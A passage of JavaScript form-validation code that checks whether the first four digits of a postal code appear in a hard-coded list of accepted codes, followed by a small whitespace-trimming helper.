'4525','4535','4540','4550','4560','4564','4570','4575','4580','4585','4590','4595','4599','4600','4605','4610','4615','4620','4625','4630','4635','4640','4650','4660','4690','4700','4704','4705','4709','4710','4714','4715','4719','4720','4730','4740','4745','4750','4755','4760','4764','4765','4770','4775','4780','4785','4795','4800','4804','4805','4809','4810','4814','4815','4820','4824','4825','4830','4835','4839','4840','4845','4850','4860','4870','4880','4890','4900','4904','4905','4910','4920','4925','4930','4935','4939','4940','4950','4960','4970','4974','4980','4990','5000','5004','5030','5040','5050','5054','5060','5070','5085','5090','5100','5110','5114','5120','5130','5140','5150','5155','5160','5180','5200','5210','5225','5230','5300','5301','5320','5335','5340','5350','5360','5370','5385','5400','5425','5430','5445','5450','5460','5470','6000','6004','6005','6030','6040','6050','6060','6090','6100','6110','6120','6150','6160','6185','6200','6201','6215','6225','6230','6250','6260','6270','6285','6290','6300','6301','6320','6324','6350','6355','6360','6370','6400','6420','6430','6440','7000','7004','7005','7009','7040','7050','7080','7090','7100','7150','7160','7170','7200','7220','7230','7240','7250','7300','7301','7320','7330','7340','7350','7354','7370','7374','7400','7425','7430','7440','7450','7460','7470','7480','7490','7500','7520','7540','7555','7565','7570','7580','7595','7600','7630','7645','7665','7670','7700','7750','7780','7800','7801','7830','7860','7875','7885','7900','7920','7940','7960','8000','8004','8005','8009','8100','8104','8125','8135','8136','8150','8200','8201','8300','8365','8375','8400','8401','8500','8501','8550','8600','8601','8650','8670','8700','8800','8801','8900','8950','8970'];
							
		var zip4 = value.substring(0,4);
		for ( var i=0; i < postalCodesContArray.length; ++i ){
			if( zip4 == postalCodesContArray[i] )
				return true;
		}
		return false;	
	}
	function rtrim ( s )
	{
		return s.replace( /\s*$/, "" );
	}

}
